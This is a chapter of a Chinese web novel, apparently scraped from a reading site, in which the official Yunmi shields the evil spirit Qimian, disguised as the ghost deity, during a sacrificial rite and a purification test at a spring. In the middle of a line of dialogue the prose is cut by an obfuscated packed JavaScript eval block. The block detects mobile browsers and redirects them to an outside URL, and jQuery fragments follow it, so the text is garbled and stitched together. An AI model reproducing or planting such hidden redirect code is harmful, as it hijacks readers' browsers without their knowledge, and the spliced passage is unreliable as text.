11. 第 11 章
作品:《劣性占有那个疯犬gb》 “恶灵?”
云弥转看向七面,她不是就在这儿吗?底狱里不过一只傀儡,没他的操纵怎么可能作乱?
七面不假思索:“祭祀马上开始了,务必镇压住她,不可出现任何纰漏。”
她说完,云弥已经走上前:“我先去看看。”
“等一下。”
她忽然伸手拦住他,另有深意地看着云弥:“祭祀上少不了你,让四狱君去即可。”
云弥知道她什么意思。
傀儡之事只有四狱君地灵知晓,这是此事唯一的解法。
他找不出更好的办法,只能应下。
“也好,那我随您前往祭坛罢。”
云弥当着阴差的面,被迫对她恭敬俯首,做了请的姿势邀她一同离开。
去向祭坛的路上,七面的表现倒挺自然,看人的眼神隐约掠过寒芒,有几分鬼神界离对外者的冷意。
只是,祂对他不该是如此……
界离从前皆是对他百般温和,笑中总带着宠溺,不是看玩物那样,是真正把他当做爱人。
云弥抬眸看着昏沉沉的天,祭坛周边众狱君共聚于此,背后扬起十余面黑白旗。
青面獠牙的小鬼晃着铜铃,阴差持有响鞭,一下又一下抽着黑壤,溅起的泥屑恍若暗色的血滴。
途经三狱君面前时,花见川朝他白了一眼,口中念念叨叨:“狗仗人势,给你几分脸了?”
云弥看也不看此人,更别谈和花见川说多余的话。
他只顾跟着七面往前走,登上开阔的祭坛上,前方摆着一只巨鼎。
由于地界禁钟声,便由鬼使击鼎,鼎响三声,即可显现出尘界繁盛的香火。
眼见着七面刚要下令,身后传来兵戈相撞的动静。
忽然一把利刃横插过她身前,被云弥一挡,硬是将其抓握手中,掌心有血渐渐流出。
而后听得人群中有人高喊:“这根本就不是鬼神!她是恶灵七面,底狱里的那只是假的!”
此话一出,四下哗然。
众位狱君及阴差齐齐回头,看着指认之人,是第二狱君,孟阳。
云弥心中一坠,怎么会?
不是让四狱君去底狱查看吗?为何跑出来的是二狱君?
七面的脸当场阴沉,她转过身来,冷然看着孟阳。
见她正要开口,云弥抢了话:“二狱君说话前要先料知后果,胡乱猜忌鬼神是要入炼狱上极刑!”
孟阳袒露着半侧肩膀,露出褐色的结实肌肉,乌黑卷发落在身前,实在壮实魁梧。
此人直骂云弥:“你才是那个要入炼狱上极刑的蠢东西!竟然认贼为主。”
“敢问哪个是贼呢?”
七面走上前,带着瘆人的笑盯向孟阳:“二狱君,说话要讲究证据,否则胡乱猜测我,我真要把你送进炼狱里去吃苦。”
孟阳没有退怯,摆手道:“让四狱君上前来说话。”
云弥惊诧看过去,地灵领着那傀儡一步步走入视野当中。
对方自然看见他,缓缓压低了视线。
难道是四狱君故意泄露?
这不该,地灵明明知道此事一旦败露,必然掀起腥风血雨。
“二狱君所说不错,台上那位……是假的。”
地灵直直望着七面,白瞳里看不出情绪。
七面还要进一步朝他们走去。
云弥阻下她,站在了七面身前,对着众鬼道:“押一只傀儡来能说明什么?指不定是恶灵的阴谋。”
“那就请鬼神大殿下净骸泉,用该处的水洗过便知身上到底是神息还是浊气。”
“休要放肆,”云弥手里已经钳起灵符,作势甩出去:“让鬼神大人下净骸泉,亏你想得出来如此无礼的请求,是不打算活了吗,二狱君?”
“你个后辈叫嚣什么?”
孟阳抡下一道粗链串起的雷火球,砸落在地面上撞出深坑,看样子是准备动手了。
“就是!在场各位哪一个不比你资历深厚,你也敢说出送狱君入炼狱的话,司狱官也不过就比狱君高一级头衔罢了。”
花见川站出来,俨然与孟阳排成一行。
“现在知道讲自己资历深厚?”
云弥唾道:“当初与天道一战时除了四狱君,你们之中有谁伸出过援手么?”
他将利刃掷在孟阳跟前:“那时要是众狱君齐力共战,鬼神大人何至于受此重伤?世间众人何必命丧该地?!”
表面声称自己是狱君,是地界的资深之辈,却连护主这样的事都做不到,放着众生不顾,只会钻这歪门邪道夺得权势,难道他们就有资格叫嚣了?
花见川掩嘴轻笑:“我知道司狱官自命不凡,倚仗着自己劳苦功高,又得鬼神大殿庇佑。但你是不是护错了人,还请看清楚呢。”
他们为何那么肯定身后的是七面?
云弥怀疑看向她,她脸上尽是轻蔑,仿佛对他们所言嗤之以鼻。
七面捧住他流血的手,拿出丝帕轻轻擦拭:“要我下净骸泉那便试试呗,反正要是弄错了,是他们没命,波及不到你。”
他抓住丝帕一角,压低声线道:“你干什么?下去之后你身份就真的暴露了,现在我在这里,他们再敢造次,直接杀就是了。”
“你杀得过他们十个?”七面抽回了手中丝帕,随意扔在地上,然后一脚踩过去:“诸位不是想看我入净骸泉吗?请移步吧。”
“你冷静行事……”
云弥的声音落在后方。
她听也不听,在众鬼簇拥下朝另一个方向去。
祭坛以北的净骸泉可以洗清身上污浊之气,怀有恶念者入内将蚀骨噬心。
现在所有眼睛都盯着她,七面沿着石子阶梯直下,脚边就是泉中漫出来的洗骸水。
她脱去靴袜,准备赤足步入其中。
云弥唤住她:“等等!先试水。”
说完,他蹲下身去拂过水面,手心手背都沾湿了,没有任何异样。
可七面分明看见他手里有东西,是一把符灰,尽数融进了泉水里。
倒有几分细心,知道这样给她打掩护。
其余人皆是瞧不清这些细小的东西,孟阳催促道:“大殿,请吧。”
她回过头去,四狱君地灵正看着自己。
七面对视一眼后敛起视线,当真举步踏入其中,冷水漫过脚踝,一直到小腿的位置。
原本是没什么异常感觉,只有沁入肌肤的凉意,但渐渐地,云弥的符术似乎失效了。
因她身上浊气太重,根本就压不住。
七面皮肤开始泛红,慢慢有灼烧感,肉眼可见显出一些细密红点。
身边云弥瞧她的眼神更是愈发忧心。
他到底是在担心她,还是在害怕事情真相会暴露?
“有反应!”孟阳嚷着:“你果真不是鬼神,快召阴兵将其拿下!”
“召
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480956|201733||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
什么阴兵,我们合力攻之即可。”
花见川又摇出那把骨扇,向七面急速扫来,带着锐利的风劲,连着周遭沙石卷动。
云弥数张灵符甩过去,符光中咒文摆成一道阵法,赫然将对方击退十余步远。
“胆敢对鬼神大人出手,三狱君是不想要这双手了?”
“那天明明是她说自己不是……”
花见川持扇的手忽然一顿,盯住七面手指间的东西直直发愣。
“不是什么?”七面持着一瓣还魂花,随手散到他们面前:“水里落了几瓣这样东西,导致我出疹子,除此之外好像没感受到浊气的存在。”
“三狱君着急作甚?”
她摆手唤来旁侧鬼使:“方才是哪几个人掀风闹事,通通给我押下去。”
鬼使当即领命,暂且未召阴兵来强制押人,只是走向前方二人:“二狱君,三狱君,炼狱里请吧。”
孟阳攥紧拳头,握到整只手臂都在颤,可到最后也只能松开:“是我无意冒犯大殿,但是请问大殿,真正的恶灵七面到底在哪里?”
花见川用扇子打落鬼使的手,拍拍自己似被染脏的肩:“二狱君说的不错,既然底狱里的是傀儡,您这边也没假,那只恶灵又会去哪儿?”
“你问我?”七面哼笑道:“我又问谁?恶灵不见了就去找啊,找不到便让四狱君提头来见。”
她转向地灵,两人相视之间默然片刻。
地灵二话不说,俯首道:“是,属下这便去寻。”
云弥终于是看懂了的样子。
他站在她身边,低声冷嘲说:“你可真会演,原来这一切都是你和四狱君的计谋。”
七面没理他,对着众鬼道:“天祭日闹成这样,想必也没有继续祭祀的必要了,都散了吧。”
众鬼议论纷纷,她再摇手,前方两人已经被押下去了。
云弥冷呵一声,独自穿过鬼群中,马上要从视野里消失。
七面沉思一瞬,紧跟上他的步伐。
他在往自己住处走,她一路随行至寝房内,对方也没回头拦自己。
直到云弥拾起桌上的东西,忽然转过身来,一柄短刃撞在了她颈上。
“你到底想要做什么?!”
“我要做什么?”七面直往刀上贴:“我只是想以此警告你,别天天想着死也要从我身边逃离。”
“地界皆在我掌控之中,揭不揭开身份全看我,我想处理掉谁自然有的是手段。”
她感受到颈上的痛,短刃上施了符术,足以伤及魂魄。
“所以你便利用我,借此关押那两个刺头,”云弥再将短刃向前抵,已经在她拟成的肉躯上压出红痕:“那之前答应我替祂坐稳神位,也全是假的?”
“怎么会是假的呢?”
七面不顾自身处境,反而安抚他道:“司狱官只要听话,我什么都帮你做成……”
她话至一半,顿时身形微倾,脖子就从他刀刃上擦过去,单手撑在桌面上。
云弥持着染血的刀,还在发蒙:“着实没见过自己往刀上撞的人,我本无意要伤你。”
七面没说话,身体太难受了。
一阵一阵的痛意侵蚀着神经,腿脚一软,朝着云弥的方向倒下去。
“咚!”他身后凳子被撞倒。
看出来云弥本想避开,但因无处可退而被迫接住她,话语中万分茫然无措。
“你、你怎么了?”

